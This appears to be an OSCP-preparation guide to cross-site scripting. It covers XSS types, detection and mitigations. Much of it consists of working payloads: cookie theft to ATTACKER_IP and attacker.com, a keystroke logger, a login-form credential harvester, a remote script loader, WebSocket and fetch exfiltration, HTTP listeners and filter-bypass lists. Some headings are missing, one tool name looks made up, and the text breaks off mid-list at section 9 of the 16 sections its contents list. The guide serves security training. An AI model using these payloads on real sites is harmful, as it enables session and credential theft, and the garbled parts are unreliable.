Domain 3Exploit Dev & AV EvasionCORE

Cross-Site Scripting (XSS) Deep Dive

Comprehensive deep dive into all XSS types including reflected, stored, DOM-based, and mutation XSS with attack flows, payloads, detection methods, and mitigation strategies for OSCP exam preparation.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#XSS#Reflected-XSS#Stored-XSS#DOM-XSS#Web-Security

Cross-Site Scripting (XSS) Deep Dive

Table of Contents

  1. Introduction to XSS
  2. Why XSS Matters for OSCP
  3. XSS Classification Overview
  4. Reflected XSS
  5. Stored (Persistent) XSS
  6. DOM-Based XSS
  7. Mutation XSS
  8. XSS Payload Arsenal
  9. XSS Detection Methodology
  10. XSS Exploitation in OSCP Labs
  11. Comparison Table
  12. Mitigation Strategies
  13. OSCP-Specific Tips and Lab Scenarios
  14. Common Pitfalls and Examiner Expectations
  15. Advanced Techniques
  16. References and Further Reading

1. Introduction to XSS

What is Cross-Site Scripting (XSS)?

Cross-Site Scripting (XSS) is a web security vulnerability that allows an attacker to inject malicious client-side scripts into web pages viewed by other users. The injected scripts execute in the victim’s browser with the privileges of the vulnerable website, potentially leading to:

  • Session hijacking (stealing cookies)
  • Defacement of web content
  • Keylogging and data theft
  • Redirection to malicious sites
  • Phishing attacks
  • Client-side code execution
  • Privilege escalation within the web application

The Core Problem

XSS occurs when a web application:

  1. Accepts user input (via URL parameters, form submissions, HTTP headers, etc.)
  2. Includes that input in HTTP responses without proper validation or encoding
  3. The browser interprets the input as executable code (HTML, JavaScript, CSS)
┌─────────────┐     ┌──────────────┐     ┌─────────────┐
│   Attacker   │────▶│  Web Server  │────▶│   Victim    │
│              │     │              │     │   Browser   │
│ Sends malicious│    │ Reflects/    │     │             │
│ input (script) │    │ Stores       │     │ Executes    │
│              │     │ untrusted    │     │ malicious   │
│              │     │ input        │     │ script      │
└─────────────┘     └──────────────┘     └─────────────┘

The XSS Triangle

For XSS to succeed, three conditions must be met:

         ┌─────────────┐
         │  INPUT      │
         │ (Attacker   │
         │  controls)  │
         └──────┬──────┘
                │
                ▼
         ┌─────────────┐
         │  OUTPUT     │
         │ (Reflected  │
         │  in HTML)   │
         └──────┬──────┘
                │
                ▼
         ┌─────────────┐
         │  CONTEXT    │
         │ (Browser    │
         │  interprets │
         │  as code)   │
         └─────────────┘

2. Why XSS Matters for OSCP

Exam Relevance

XSS is critical for the OSCP exam for several reasons:

  1. Client-Side Attack Chain: XSS is often the entry point for client-side attacks that lead to:

    • Credential harvesting
    • Session token theft
    • Reverse shell execution on the attacker’s machine (via browser)
    • Lateral movement within the network
  2. Point Scoring: Successfully exploiting XSS and demonstrating impact can contribute to:

    • Web application penetration test report
    • Client-side attack section of the exam
    • Bonus points for creative exploitation
  3. Real-World Prevalence: XSS remains one of the most common web vulnerabilities (OWASP Top 10)

  4. Integration with Other Attacks: XSS often combines with:

    • CSRF (Cross-Site Request Forgery)
    • Open Redirect
    • Insecure Direct Object References (IDOR)
    • Server-Side Request Forgery (SSRF)

OSCP Exam Mindset for XSS

Key Insight: In OSCP, the goal is not just to find XSS but to demonstrate impact. A simple <script>alert(1)</script> is proof of concept, but examiners want to see:

  • Cookie theft
  • Session hijacking
  • Credential capture
  • Actual code execution or access gain

3. XSS Classification Overview

XSS vulnerabilities are classified into four main types:

Type Also Known As Persistence Trigger Mechanism
Reflected XSS Non-persistent XSS None (one-time) Malicious URL sent to victim
Stored XSS Persistent XSS Database/Storage Victim visits compromised page
DOM-Based XSS Type-0 XSS None (client-side) Malicious URL fragment or parameter
Mutation XSS mXSS Varies Browser HTML parsing differences

Classification by Source and Sink

Source (Input)                    Sink (Output)
─────────────                     ─────────────
URL Query Parameters     ──────▶   HTML Body
URL Path Parameters              JavaScript Context
Form Data (GET/POST)             HTML Attribute
HTTP Headers                   CSS Context
Cookie                         Event Handler
LocalStorage                   DOM API

4. Reflected XSS

Technical Explanation

Reflected XSS (also called Non-Persistent XSS) occurs when user-supplied input is immediately reflected back in the HTTP response without proper sanitization. The malicious script is embedded in a URL that the attacker crafts and tricks the victim into clicking.

Vulnerability Mechanism

Request Flow:
─────────────

1. Attacker crafts malicious URL:
   http://vulnerable.com/search?q=<script>alert('XSS')</script>

2. Victim clicks the URL

3. Server receives the request and processes it:

   ┌─────────────────────────────────────────────┐
   │  Server-Side Processing                    │
   │                                             │
   │  Input: q=<script>alert('XSS')</script>     │
   │                                             │
   │  Code (vulnerable):                         │
   │  <h1>Search Results for:                    │
   │  <?php echo $_GET['q']; ?></h1>            │
   │                                             │
   │  Output:                                    │
   │  <h1>Search Results for:                    │
   │  <script>alert('XSS')</script></h1>        │
   └─────────────────────────────────────────────┘

4. Browser receives and renders the response

5. JavaScript executes in victim's context

Attack Flow Diagram

sequenceDiagram
    participant A as Attacker
    participant V as Victim
    participant S as Server
    participant B as Browser

    A->>A: Crafts malicious URL
    Note over A: http://target.com/search?q=<script>...<script>
    A->>V: Sends URL (via email, chat, etc.)
    V->>S: HTTP GET /search?q=<script>...<script>
    S->>S: Processes request, reflects input
    S->>V: HTTP 200 with reflected script in HTML
    V->>B: Browser renders HTML
    B->>B: Executes malicious JavaScript
    B->>A: Sends stolen data to attacker

Real-World Example Payloads

Payload 1: Basic Alert (Proof of Concept)

<script>alert('XSS')</script>

URL Example:

http://target.com/search?q=<script>alert('XSS')</script>
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

URL Example:

http://target.com/search?q=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Payload 3: Image Tag Based (No Script Tags)

<img src=x onerror=alert('XSS')>

URL Example:

http://target.com/search?q=<img src=x onerror=alert('XSS')>

Payload 4: Event Handler Based

<svg onload=alert('XSS')>

URL Example:

http://target.com/search?q=<svg onload=alert('XSS')>

Payload 5: Iframe Based

<iframe src="javascript:alert('XSS')"></iframe>

URL Example:

http://target.com/search?q=<iframe src="javascript:alert('XSS')"></iframe>

Payload 6: Body Background

<body background="javascript:alert('XSS')">

Payload 7: Style Based

<style>body{background:url("javascript:alert('XSS')")}</style>

Payload 8: Input Image

<input type="image" src="x" onerror="alert('XSS')">

Payload 9: Details Tag

<details open ontoggle=alert('XSS')>

Payload 10: Marquee Tag

<marquee onstart=alert('XSS')>

Detection Methodology

Step 1: Identify Input Points

# Common reflected input points:
# - URL query parameters
# - URL path segments
# - HTTP headers (User-Agent, Referer, X-Forwarded-For)
# - Form fields (GET method)

# Example: Test each parameter
http://target.com/page?id=1&name=test&search=query

Step 2: Inject Test Payloads

# Start with simple markers
http://target.com/search?q=<test>
http://target.com/search?q="test"
http://target.com/search?q='test'
http://target.com/search?q=<script>

# Check response source for reflected input

Step 3: Analyze Response

# Use Burp Suite or browser DevTools to inspect:
# 1. Is the input reflected in the response?
# 2. In what context is it reflected?
#    - HTML body
#    - HTML attribute
#    - JavaScript variable
#    - CSS rule
# 3. Is any encoding applied?
#    - HTML entity encoding
#    - URL encoding
#    - JavaScript escaping

Step 4: Context-Specific Testing

HTML Context:          <script>alert(1)</script>
Attribute Context:     " onmouseover="alert(1)
JavaScript Context:    ';alert(1);//
CSS Context:           '};expression(alert(1))/*
URL Context:           javascript:alert(1)

Exploitation in Lab Environment

# Step 1: Set up listener on attacker machine
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'Received: {self.path}')
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b'Thanks!')
    def log_message(self, format, *args):
        pass

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()
"

# Step 2: Craft the payload
PAYLOAD='<script>document.location="http://ATTACKER_IP/steal?c="+document.cookie</script>'

# Step 3: URL encode the payload
# Use Burp Suite or:
echo -n "$PAYLOAD" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read()))"

# Step 4: Deliver to victim (in lab, you are the victim)
curl -v "http://target.com/search?q=<script>document.location=\"http://ATTACKER_IP/steal?c=\"+document.cookie</script>"

Scenario 2: Reflected XSS with Credential Harvesting

<!-- Full credential harvesting payload -->
<script>
(function(){
    var s = document.createElement('script');
    s.src = 'http://ATTACKER_IP/harvest.js';
    document.body.appendChild(s);
})();
</script>
// harvest.js - deployed on attacker server
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://ATTACKER_IP/capture.php';
form.style.display = 'none';

var username = document.querySelector('input[name="username"]');
var password = document.querySelector('input[name="password"]');

if(username && password) {
    var uInput = document.createElement('input');
    uInput.name = 'stolen_user';
    uInput.value = username.value;
    form.appendChild(uInput);

    var pInput = document.createElement('input');
    pInput.name = 'stolen_pass';
    pInput.value = password.value;
    form.appendChild(pInput);

    document.body.appendChild(form);
    form.submit();
}

Mitigation Strategies

Server-Side Defenses

// 1. Output Encoding (Context-Aware)
// HTML Body Context:
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// HTML Attribute Context:
echo '"' . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8') . '"';

// JavaScript Context:
echo json_encode($userInput);

// 2. Input Validation
// Whitelist approach - only allow expected input
if (!preg_match('/^[a-zA-Z0-9_]+$/', $username)) {
    die('Invalid input');
}

// 3. Content Security Policy (CSP)
header("Content-Security-Policy: default-src 'self'; script-src 'self';");

// 4. HttpOnly Cookie Flag
setcookie('session_id', $value, [
    'httponly' => true,
    'secure' => true,
    'samesite' => 'Strict'
]);

5. Stored (Persistent) XSS

Technical Explanation

Stored XSS (also called Persistent XSS) occurs when malicious input is permanently stored on the target server (database, file system, comment section, etc.) and served to users whenever they request the affected page. This is considered more dangerous than Reflected XSS because:

  • The payload persists across sessions
  • Multiple victims can be affected
  • No social engineering needed beyond getting the payload stored
  • Admin users visiting the page get compromised

Vulnerability Mechanism

Storage Flow:
────────────

1. Attacker submits malicious input:

   ┌─────────────────────────────────────────────┐
   │  POST /comment                               │
   │  Content-Type: application/x-www-form-urlencoded│
   │                                               │
   │  name=Hacker&message=<script>alert('XSS')</script>│
   └─────────────────────────────────────────────┘

2. Server stores input in database:

   ┌─────────────────────────────────────────────┐
   │  SQL Query (vulnerable):                     │
   │  INSERT INTO comments (name, message)        │
   │  VALUES ('Hacker', '<script>alert("XSS")</script>')│
   │                                               │
   │  Database Record:                            │
   │  ┌────┬─────────┬──────────────────────────┐│
   │  │ ID │  Name   │       Message            ││
   │  ├────┼─────────┼──────────────────────────┤│
   │  │ 42 │ Hacker  │ <script>alert("XSS")     ││
   │  │    │         │ </script>                ││
   │  └────┴─────────┴──────────────────────────┘│
   └─────────────────────────────────────────────┘

3. Any user viewing the page retrieves and renders the stored payload:

   ┌─────────────────────────────────────────────┐
   │  GET /post/123                               │
   │                                               │
   │  Server Response:                             │
   │  <div class="comment">                        │
   │    <strong>Hacker</strong>                    │
   │    <p><script>alert("XSS")</script></p>      │
   │  </div>                                       │
   │                                               │
   │  Browser executes the script!                 │
   └─────────────────────────────────────────────┘

Attack Flow Diagram

sequenceDiagram
    participant A as Attacker
    participant S as Server
    participant DB as Database
    participant V as Victim

    A->>S: POST malicious comment with XSS payload
    S->>DB: INSERT payload into database (no sanitization)
    DB-->>S: Success
    S-->>A: Comment posted successfully
    Note over V: Days later...
    V->>S: GET /post/123 (normal page visit)
    S->>DB: SELECT comment FROM comments WHERE post_id=123
    DB-->>S: Returns stored XSS payload
    S->>V: HTML response with embedded script
    V->>V: Browser executes malicious script
    V->>A: Stolen session/credentials sent to attacker

Real-World Example Payloads

<script>
new Image().src = 'http://ATTACKER_IP/log?c=' + document.cookie;
</script>

Why this works: Uses the Image object to make a silent GET request. No popup, no visible effect for the victim.

Payload 2: Keylogger

<script>
var keys = '';
document.onkeypress = function(e) {
    keys += String.fromCharCode(e.which);
};
setInterval(function() {
    new Image().src = 'http://ATTACKER_IP/keylog?k=' + keys;
    keys = '';
}, 5000);
</script>

Payload 3: Redirect to Phishing Page

<script>
window.location = 'http://ATTACKER_IP/phishing-page';
</script>

Payload 4: DOM Manipulation for Credential Capture

<script>
var originalForm = document.querySelector('form.login-form');
if(originalForm) {
    originalForm.addEventListener('submit', function(e) {
        e.preventDefault();
        var username = this.querySelector('input[name="username"]').value;
        var password = this.querySelector('input[name="password"]').value;
        new Image().src = 'http://ATTACKER_IP/creds?u=' + username + '&p=' + password;
        this.submit();
    });
}
</script>

Payload 5: Admin Panel Access Capture

<script>
setInterval(function() {
    var screenshot = document.body.innerHTML;
    new Image().src = 'http://ATTACKER_IP/page?content=' + encodeURIComponent(screenshot.substring(0, 4000));
}, 30000);
</script>

Payload 6: WebSocket-Based Exfiltration

<script>
var ws = new WebSocket('ws://ATTACKER_IP:8080');
ws.onopen = function() {
    ws.send(document.cookie);
    ws.send(document.title);
    ws.send(window.location.href);
};
</script>

Payload 7: Fetch API Based

<script>
fetch('http://ATTACKER_IP/steal', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify({
        cookie: document.cookie,
        url: window.location.href,
        title: document.title
    })
});
</script>

Payload 8: Base64 Encoded Payload

<script>
eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly9hdHRhY2tlci5jb20n'));
</script>

Payload 9: SVG-Based Stored XSS

<svg xmlns="http://www.w3.org/2000/svg">
    <script>alert('XSS')</script>
</svg>

Payload 10: Template Injection Style

{{constructor.constructor('alert(1)')()}}

Detection Methodology

Step 1: Identify Storage Points

# Common stored input points:
# - Comment sections
# - User profiles (bio, name, avatar URL)
# - Blog posts
# - Forum posts
# - Ticketing systems
# - Bug trackers
# - CMS content
# - Email bodies (webmail)
# - Chat messages
# - Notes/memos

Step 2: Test Each Storage Point

# Submit test payloads and check if they persist:

# Test 1: HTML marker
Comment: <test_marker_12345>

# Test 2: Script tag
Comment: <script>alert(1)</script>

# Test 3: Event handler
Comment: <img src=x onerror=alert(1)>

# Test 4: Check stored value
# View page source to see if payload is stored as-is

Step 3: Verify Persistence

# 1. Submit the payload
# 2. Refresh the page - does the payload still appear?
# 3. Log out and log back in - does it persist?
# 4. Check from a different browser/account - does it affect others?

Step 4: Check Output Context

Where is the stored data rendered?
├── HTML Body (most common)
├── HTML Attribute (src, href, style, etc.)
├── JavaScript Variable
├── CSS Rule
└── URL Parameter

Exploitation in Lab Environment

Scenario: Stored XSS in Web Application Comment Section

# Step 1: Identify the comment submission endpoint
# Use Burp Suite to intercept the POST request

# Step 2: Craft the payload
PAYLOAD='<script>document.location="http://ATTACKER_IP:8080/cookie?c="+document.cookie</script>'

# Step 3: Submit via Burp Repeater or curl
curl -X POST http://target.com/api/comments \
  -H "Content-Type: application/json" \
  -H "Cookie: session=YOUR_SESSION" \
  -d "{\"post_id\":\"1\",\"comment\":\"$PAYLOAD\"}"

# Step 4: Set up listener
python3 -c "
from http.server import HTTPServer, BaseHTTPRequestHandler
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f'STOLEN: {self.path}')
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass
HTTPServer(('0.0.0.0', 8080), H).serve_forever()
"

# Step 5: Visit the page as the victim (or wait for another user)
curl http://target.com/posts/1

Mitigation Strategies

// 1. Server-Side Output Encoding (CRITICAL)
// Always encode output based on context
echo htmlspecialchars($comment, ENT_QUOTES, 'UTF-8');

// 2. Input Validation
// Validate and sanitize on input
function sanitize_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
    return $data;
}

// 3. Use Prepared Statements (prevents SQLi, not XSS directly)
$stmt = $pdo->prepare("INSERT INTO comments (message) VALUES (?)");
$stmt->execute([$sanitized_comment]);

// 4. Content Security Policy
header("Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';");

// 5. Use Modern Frameworks with Auto-Escaping
// Django: {{ comment|escape }}
// Rails: <%= h(comment) %>
// React: Automatically escapes JSX

6. DOM-Based XSS

Technical Explanation

DOM-Based XSS (also called Type-0 XSS) is a client-side vulnerability where the vulnerability exists entirely in the JavaScript code running in the browser. The malicious payload never reaches the server. Instead:

  1. The attacker controls a source (URL fragment, query parameter, localStorage, etc.)
  2. The JavaScript reads this source
  3. The JavaScript writes the source to a sink (innerHTML, document.write, eval, etc.) without sanitization

Key Distinction

Reflected/Stored XSS:
┌────────┐    Request     ┌────────┐    Response    ┌────────┐
│Attacker│───────────────▶│ Server │───────────────▶│ Victim │
│        │◀────────────────│        │                │        │
└────────┘  Stolen Data   └────────┘                └────────┘
              Payload travels through server

DOM-Based XSS:
┌────────┐    URL with    ┌────────┐
│Attacker│───────────────▶│ Victim │
│        │                │ Browser│
│        │                │ only!  │
└────────┘                └────────┘
              Payload NEVER reaches server
              (except possibly query params)

Vulnerable Code Pattern

// VULNERABLE - Source: URL fragment, Sink: innerHTML
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

// VULNERABLE - Source: Query param, Sink: document.write
var params = new URLSearchParams(window.location.search);
var name = params.get('name');
document.write('<h1>Welcome, ' + name + '</h1>');

// VULNERABLE - Source: Query param, Sink: eval
var code = new URLSearchParams(window.location.search).get('code');
eval(code);

// VULNERABLE - Source: localStorage, Sink: innerHTML
var stored = localStorage.getItem('userData');
document.getElementById('profile').innerHTML = stored;

Safe Code Pattern

// SAFE - Using textContent instead of innerHTML
var userInput = window.location.hash.substring(1);
document.getElementById('output').textContent = userInput;

// SAFE - Using DOM APIs
var name = new URLSearchParams(window.location.search).get('name');
var h1 = document.createElement('h1');
var text = document.createTextNode('Welcome, ' + name);
h1.appendChild(text);
document.body.appendChild(h1);

// SAFE - Proper encoding
function htmlEncode(str) {
    var div = document.createElement('div');
    div.textContent = str;
    return div.innerHTML;
}
document.getElementById('output').innerHTML = htmlEncode(userInput);

Attack Flow Diagram

flowchart TD
    A[Attacker crafts URL] --> B["http://target.com/page#<script>alert(1)</script>"]
    B --> C[Victim clicks URL]
    C --> D[Browser loads page]
    D --> E[JavaScript reads window.location.hash]
    E --> F[JavaScript writes to innerHTML]
    F --> G[Browser parses and executes script]
    G --> H[Malicious code runs]

Real-World Example Payloads

Payload 1: Hash-Based DOM XSS

URL: http://target.com/page#<script>alert('DOM-XSS')</script>

Vulnerable Code:
document.getElementById('content').innerHTML = window.location.hash;

Payload 2: Query Parameter DOM XSS

URL: http://target.com/search?q=<img src=x onerror=alert(1)>

Vulnerable Code:
var q = new URLSearchParams(window.location.search).get('q');
document.write('<div>' + q + '</div>');

Payload 3: Document Write Based

URL: http://target.com/welcome?name=<script>alert(1)</script>

Vulnerable Code:
var name = getParameterByName('name');
document.write('<h1>Hello ' + name + '</h1>');

Payload 4: SetTimeout Based

URL: http://target.com/page?msg=<script>alert(1)</script>

Vulnerable Code:
var msg = new URLSearchParams(window.location.search).get('msg');
setTimeout('document.getElementById(\"box\").innerHTML=msg', 1000);

Payload 5: SetInterval Based

URL: http://target.com/app?data=<img src=x onerror=alert(1)>

Vulnerable Code:
var data = window.location.search.split('data=')[1];
setInterval(function() {
    document.getElementById('display').innerHTML = data;
}, 5000);

Payload 6: Location Replace

URL: http://target.com/redirect?url=javascript:alert(1)

Vulnerable Code:
var url = new URLSearchParams(window.location.search).get('url');
window.location.replace(url);

Payload 7: Assign Based

URL: http://target.com/go?link=javascript:alert(document.cookie)

Vulnerable Code:
var link = getParameterByName('link');
window.location.assign(link);

Payload 8: Eval Based

URL: http://target.com/exec?cmd=alert(document.cookie)

Vulnerable Code:
var cmd = new URLSearchParams(window.location.search).get('cmd');
eval(cmd);

Payload 9: Function Constructor

URL: http://target.com/run?code=alert(1)

Vulnerable Code:
var code = new URLSearchParams(window.location.search).get('code');
var func = new Function(code);
func();

Payload 10: Template Literal Injection

URL: http://target.com/profile?bio=<script>alert(1)</script>

Vulnerable Code:
var bio = new URLSearchParams(window.location.search).get('bio');
document.getElementById('bio').innerHTML = `<p>${bio}</p>`;

DOM XSS Sources and Sinks Reference

Common Sources (Data Origins)

// URL-based sources
window.location
window.location.href
window.location.hash
window.location.search
window.location.pathname
window.location.protocol
window.location.host
window.location.hostname

// Document-based sources
document.URL
document.documentURI
document.referrer
document.baseURI

// History-based sources
window.history.back()
window.history.forward()

// Storage-based sources
localStorage.getItem()
sessionStorage.getItem()

// Other sources
window.name
console.log()
location.assign()
location.replace()

Common Sinks (Dangerous Operations)

// HIGH RISK - Direct HTML injection
element.innerHTML = source;
element.outerHTML = source;
document.write(source);
document.writeln(source);

// HIGH RISK - Code execution
eval(source);
setTimeout(source, delay);
setInterval(source, delay);
new Function(source);

// MEDIUM RISK - URL manipulation
window.location = source;
window.location.href = source;
location.assign(source);
location.replace(source);

// MEDIUM RISK - Dynamic element creation
element.insertAdjacentHTML('beforeend', source);
range.createContextualFragment(source);

// LOW RISK (if source is safe)
element.textContent = source;      // SAFE
element.appendChild(textNode);     // SAFE

Detection Methodology

Step 1: Analyze JavaScript Code

# 1. View page source and identify JavaScript files
# 2. Look for dangerous patterns:
#    - innerHTML assignments
#    - document.write calls
#    - eval() usage
#    - setTimeout/setInterval with strings
#    - location assignments

# Use browser DevTools:
# Sources tab → Search for: innerHTML, document.write, eval

Step 2: Identify Sources and Sinks

# Map data flow:
# Source → Transformation → Sink

# Example analysis:
# Source: window.location.hash
# Transformation: None (direct assignment)
# Sink: element.innerHTML
# Result: VULNERABLE

Step 3: Test with Burp Suite

# 1. Use Burp's DOM XSS detector
# 2. Or manually test each source:
#    - Modify URL hash
#    - Modify query parameters
#    - Modify localStorage values via console

# Console testing:
localStorage.setItem('userData', '<script>alert(1)</script>');
// Then refresh and see if it executes

Step 4: Use Specialized Tools

# Dalfox - DOM XSS scanner
dalfox url "http://target.com/page?param=test" --dom-intensity=max

# xsstrike - XSS detection
python3 xsstrike.py -u "http://target.com/page?param=test"

# DOMPurpy (Python)
python3 dompypy.py -u "http://target.com/page"

Exploitation in Lab Environment

Scenario: DOM XSS in URL Hash

# Step 1: Identify the vulnerable JavaScript
# View source and find:
# document.getElementById('content').innerHTML = window.location.hash;

# Step 2: Craft the URL
http://target.com/page#<script>alert('DOM-XSS')</script>

# Step 3: Test in browser
# Navigate to the URL and observe the alert

# Step 4: Upgrade to cookie theft
http://target.com/page#<script>new Image().src='http://ATTACKER_IP/c?c='+document.cookie</script>

Mitigation Strategies

// 1. Use textContent instead of innerHTML
document.getElementById('output').textContent = userInput;

// 2. Use DOM APIs for safe manipulation
var elem = document.createElement('div');
elem.textContent = userInput;
document.body.appendChild(elem);

// 3. Implement a sanitization library
// DOMPurify - https://github.com/cure53/DOMPurify
var clean = DOMPurify.sanitize(userInput);
document.getElementById('output').innerHTML = clean;

// 4. Validate and encode sources
function safeHash() {
    var hash = window.location.hash.substring(1);
    return hash.replace(/[<>"']/g, function(c) {
        return '&#' + c.charCodeAt(0) + ';';
    });
}

// 5. Content Security Policy
// Prevent inline script execution
// Content-Security-Policy: script-src 'self'

7. Mutation XSS

Technical Explanation

Mutation XSS (mXSS) is a rare and advanced form of XSS where the browser’s HTML parser modifies (mutates) the originally sanitized HTML in a way that creates a new XSS vulnerability. The server-side sanitization appears correct, but the browser’s parsing behavior differs, resulting in executable code.

How Mutation Occurs

Server-Side Sanitization:
────────────────────────

Input:  <svg><script>alert(1)</script></svg>

After Sanitization (removes <script>):
<svg>alert(1)</svg>

Server thinks: "Safe! Script tag removed."

Browser Parsing:
────────────────

The browser may parse the mutated HTML differently:

Example 1 - HTML5 Parsing Quirks:
Input after sanitization: <svg><style>alert(1)</style></svg>
Browser may interpret as: <svg></svg><style>alert(1)</style>

Example 2 - Nested Tag Mutation:
Input: <div><a href="#"><script>alert(1)</script></a></div>
After removing script: <div><a href="#"></a></div>
But browser might parse differently due to nesting rules

Example 3 - The Classic mXSS:
Input: <svg><foreignObject><div>...</div></foreignObject></svg>
After partial sanitization, browser reconstructs differently

Classic mXSS Example

<!-- Original malicious input -->
<svg><script>alert(1)</script></svg>

<!-- After naive sanitization (removes script tags) -->
<svg></svg>

<!-- But consider this input -->
<svg><style><img src="x" onerror="alert(1)"></style></svg>

<!-- After removing style tags -->
<svg><img src="x" onerror="alert(1)"></svg>

<!-- Browser now executes the onerror handler! -->

Real mXSS Pattern

<!-- Input -->
<svg><a href="javascript:alert(1)"><style>foo</style></a></svg>

<!-- After removing <style> tags -->
<svg><a href="javascript:alert(1)">foo</a></svg>

<!-- The href attribute now contains executable JavaScript! -->

Detection Methodology

Step 1: Identify Sanitization Libraries

# Check what sanitization is being used:
# - Custom regex-based filtering
# - HTMLawed
# - HTML Purifier
# - Bleach
# - Custom DOM-based sanitization

# Look for in source code or use Burp to analyze responses

Step 2: Test Sanitization Bypasses

<!-- Test 1: Tag nesting mutation -->
<svg><style><img src=x onerror=alert(1)></style></svg>

<!-- Test 2: Attribute mutation -->
<a href="javascript:alert(1)"><style>test</style></a>

<!-- Test 3: ForeignObject mutation -->
<svg><foreignObject><div style="background:url(javascript:alert(1))"></div></foreignObject></svg>

<!-- Test 4: MathML mutation -->
<math><mtext><img src=x onerror=alert(1)></mtext></math>

Step 3: Cross-Browser Testing

# mXSS is often browser-specific
# Test in:
# - Chrome/Chromium
# - Firefox
# - Safari
# - Edge

# Each browser has different HTML parsing behavior

Mitigation Strategies

// 1. Use well-maintained sanitization libraries
// DOMPurify is specifically designed to handle mXSS
var clean = DOMPurify.sanitize(dirtyHTML);

// 2. Avoid innerHTML when possible
element.textContent = userInput;  // Instead of innerHTML

// 3. If you must use innerHTML, sanitize first
element.innerHTML = DOMPurify.sanitize(userInput);

// 4. Keep browsers updated
// Many mXSS vulnerabilities are patched in browser updates

// 5. Content Security Policy as defense-in-depth
// Content-Security-Policy: script-src 'self'

8. XSS Payload Arsenal

Universal Payloads (Work in Most Contexts)

<!-- Basic -->
<script>alert(1)</script>

<!-- No script tag -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>

<!-- No quotes -->
<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>

<!-- No parentheses -->
<img src=x onerror=alert`1`>

<!-- No semicolon -->
<script>alert(1)//

Filter Bypass Techniques

Bypass: Script Tag Blocked

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src=javascript:alert(1)>
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<details open ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

Bypass: Quotes Blocked

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<script>alert(1)</script>
<!-- Use backticks in JS -->
<img src=x onerror=alert`1`>

Bypass: Parentheses Blocked

<img src=x onerror=alert`1`>
<script>alert`1`</script>
<svg onload=alert`1`>

Bypass: Semicolon Blocked

<script>alert(1)//
<script>alert(1)/*
<img src=x onerror=alert(1)//

Bypass: Spaces Blocked

<img/src=x/onerror=alert(1)>
<svg/onload=alert(1)>
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<!-- Use tabs, newlines, or other whitespace -->

Bypass: Common Words Blocked

<!-- alert blocked -->
<img src=x onerror=confirm(1)>
<img src=x onerror=prompt(1)>

<!-- script blocked -->
<iframe src=javascript:alert(1)>
<svg onload=alert(1)>

<!-- onerror blocked -->
<svg onload=alert(1)>
<body onload=alert(1)>

Case Variation Bypass

<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x ONERROR=alert(1)>
<SvG oNlOaD=alert(1)>

Encoding Bypass

<!-- URL Encoding -->
%3Cscript%3Ealert(1)%3C/script%3E

<!-- HTML Entity Encoding -->
&#60;script&#62;alert(1)&#60;/script&#62;
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;

<!-- JavaScript String Encoding -->
String.fromCharCode(60,115,99,114,105,112,116,62)

<!-- Unicode Encoding -->
\u003cscript\u003ealert(1)\u003c/script\u003e

Context-Specific Payloads

HTML Body Context

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>

HTML Attribute Context

" onmouseover="alert(1)
' onmouseover='alert(1)
" autofocus onfocus=alert(1)

JavaScript Context

';alert(1);//
";alert(1);//
';alert(1);'
";alert(1);"
</script><script>alert(1)</script>

CSS Context

'};expression(alert(1))/*
' } @import 'http://evil.com/x.css'; /*

URL Context

javascript:alert(1)
data:text/html,<script>alert(1)</script>

9. XSS Detection Methodology

Systematic Testing Approach

Phase 1: Reconnaissance

# 1. Map the application
#    - Identify all input points
#    - Identify all output points
#    - Identify all parameters

# 2. Tools:
#    - Burp Suite (Proxy + Scanner)
#    - OWASP ZAP
#    - Browser DevTools
#    - View Source

Phase 2: Input Identification

# GET Parameters
http://target.com/page?id=1&name=test&search=query

# POST Parameters
# Intercept form submissions in Burp

# URL Path
http://target.com/users/ADMIN

# HTTP Headers
User-Agent: Mozilla/5.0
Referer: http://target.com
X-Forwarded-For: 127.0.0.1

# Cookies
# Check if cookie values are reflected

# JSON Bodies
{"name": "test", "email": "test@test.com"}

Phase 3: Payload Testing

# Start with identification markers:
# <test>
# "test"
# 'test'
# <script>
# <img src=x>

# Progress to functional payloads:
# <script>alert(1)</script>
# <img src=x onerror=alert(1)>
# <svg onload=alert(1)>

# Test context-specific payloads based on output location

Phase 4: Context Analysis

Step 1: Where is the output reflected?
├── HTML Body
│   └── Use: <script>alert(1)</script>
├── HTML Attribute
│   └── Use: " onmouseover="alert(1)
├── JavaScript Variable
│   └── Use: ';alert(1);//
├── CSS Rule
│   └── Use: '};expression(alert(1))/*
└── URL Parameter
    └── Use: javascript:alert(1)

Step 2: What encoding is applied?
├── None → Direct injection
├── HTML Entity → Try attribute context
├── URL Encoding → Double encoding
└── JavaScript Escaping → Break out of current context first

Automated Detection Tools

# 1. Burp Suite Professional
#    - Active Scanner with XSS rules
#    - Intruder for payload testing

# 2. OWASP ZAP
#    - Active Scan
#    - Spider + Scan

# 3. Dalfox
